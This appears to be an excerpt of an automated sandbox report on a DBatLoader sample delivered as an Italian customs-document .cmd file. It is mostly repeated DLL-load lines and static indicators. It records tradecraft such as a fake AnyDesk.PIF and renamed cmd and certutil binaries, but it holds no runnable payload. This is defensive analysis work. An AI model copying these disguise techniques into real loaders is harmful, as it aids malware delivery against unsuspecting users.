Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Drops PE files with a suspicious file extension

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Documentazione_Doganale_richieste_di_copia.cmd

Static file information: File size 3584667 > 1048576

Source:	Binary string: easinvoker.pdb source: AnyDesk.PIF, AnyDesk.PIF, 00000009.00000003.1719853566.000000007FA90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1720758818.000000007F880000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2942456888.0000000002B8E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: alpha.exe, 00000003.00000002.1698099153.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1694923446.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1698590707.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1703094786.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1703554618.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1717188834.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1718131539.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1719120301.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1719455704.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1720271096.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source:	Binary string: certutil.pdb source: kn.exe, 00000006.00000000.1699078959.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1702405563.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1704266482.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1716584582.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
Source:	Binary string: cmd.pdb source: alpha.exe, 00000003.00000002.1698099153.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1694923446.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1698590707.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1703094786.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1703554618.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1717188834.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1718131539.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1719120301.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1719455704.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1720271096.00007FF7E1DE2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source:	Binary string: easinvoker.pdbGCTL source: AnyDesk.PIF, 00000009.00000003.1720468167.0000000002927000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1719853566.000000007FA90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1720758818.000000007F880000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2942456888.0000000002B8E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2941867830.0000000002921000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: certutil.pdbGCTL source: kn.exe, 00000006.00000000.1699078959.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1702405563.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1704266482.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1716584582.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 9.2.AnyDesk.PIF.2b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.1720758818.000000007F880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: alpha.exe.2.dr

Static PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 9_2_02B7894C LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_02B7894C

Source: alpha.exe.2.dr	Static PE information: section name: .didat
Source: kn.exe.4.dr	Static PE information: section name: .didat

Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4E3668 push rsp; ret	6_2_00007FF67C4E3669
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8D2FC push 02B8D367h; ret	9_2_02B8D35F
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B663B0 push 02B6640Bh; ret	9_2_02B66403
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B663AE push 02B6640Bh; ret	9_2_02B66403
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6332C push eax; ret	9_2_02B63368
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8C378 push 02B8C56Eh; ret	9_2_02B8C566
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6C349 push 8B02B6C1h; ret	9_2_02B6C34E
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8D0AC push 02B8D125h; ret	9_2_02B8D11D
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7306C push 02B730B9h; ret	9_2_02B730B1
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7306B push 02B730B9h; ret	9_2_02B730B1
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8D1F8 push 02B8D288h; ret	9_2_02B8D280
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7F108 push ecx; mov dword ptr [esp], edx	9_2_02B7F10D
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8D144 push 02B8D1ECh; ret	9_2_02B8D1E4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B66784 push 02B667C6h; ret	9_2_02B667BE
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B66782 push 02B667C6h; ret	9_2_02B667BE
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6D5A0 push 02B6D5CCh; ret	9_2_02B6D5C4
